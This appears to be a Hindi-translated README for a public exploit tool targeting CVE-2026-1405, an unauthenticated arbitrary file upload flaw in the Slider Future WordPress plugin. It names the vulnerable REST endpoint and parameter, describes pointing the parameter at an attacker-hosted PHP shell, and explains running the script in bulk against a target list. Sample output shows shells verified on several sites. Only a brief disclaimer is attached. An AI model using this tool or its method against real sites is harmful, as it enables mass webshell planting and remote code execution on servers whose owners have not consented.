nxploited/cve-2026-1405Slider Future <= 1.0.5 - बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड
Slider Future <= 1.0.5 - बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड
घटक: Slider Future (WordPress प्लगइन)
प्रभावित संस्करण: ≤ 1.0.5
भेद्यता: बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड
CVE: CVE-2026-1405
CVSS स्कोर: 9.8 (गंभीर)
वर्डप्रेस के लिए Slider Future प्लगइन, 1.0.5 तक के सभी संस्करणों में slider_future_handle_image_upload फ़ंक्शन में फ़ाइल प्रकार सत्यापन की कमी के कारण मनमाने फ़ाइल अपलोड के प्रति संवेदनशील है। यह बिना प्रमाणीकरण वाले हमलावरों को दुर्भावनापूर्ण PHP शेल सहित किसी भी फ़ाइल प्रकार को सीधे प्रभावित सर्वर पर अपलोड करने की अनुमति देता है, जिससे रिमोट कोड निष्पादन संभव हो जाता है।
/wp-json/slider-future/v1/upload-image/image_url पैरामीटर के माध्यम से रिमोट PHP शेल अपलोड करता है (कोई प्रमाणीकरण आवश्यक नहीं)।http://example1.com
https://example2.com
...
उदाहरण: http://yourserver.com/shell.php
python3 CVE-2026-1405.py
आपसे निम्नलिखित पूछा जाएगा:
list.txt)Nxploited)success_results.txt में सहेजे जाते हैं।/wp-json/slider-future/v1/upload-image/image_url जो आपके शेल की ओर इंगित करता है।यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
उन साइटों के विरुद्ध अनधिकृत उपयोग जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है, अवैध है।
Exploit For: CVE-2026-1405
By: Nxploited
Targets loaded: 12
Shell URL: http://yourserver.com/shell.php
Signature: Nxploited
2026-02-20T16:05:23.123456+00:00 | http://target1.com -> SUCCESS | Shell Verified: http://target1.com/wp-content/uploads/2026/02/shell.php
2026-02-20T16:05:24.542342+00:00 | http://target2.com -> Upload failed or shell URL not found.
...
Finished: 3/12 succeeded in 14.7s
Saved successes to success_results.txt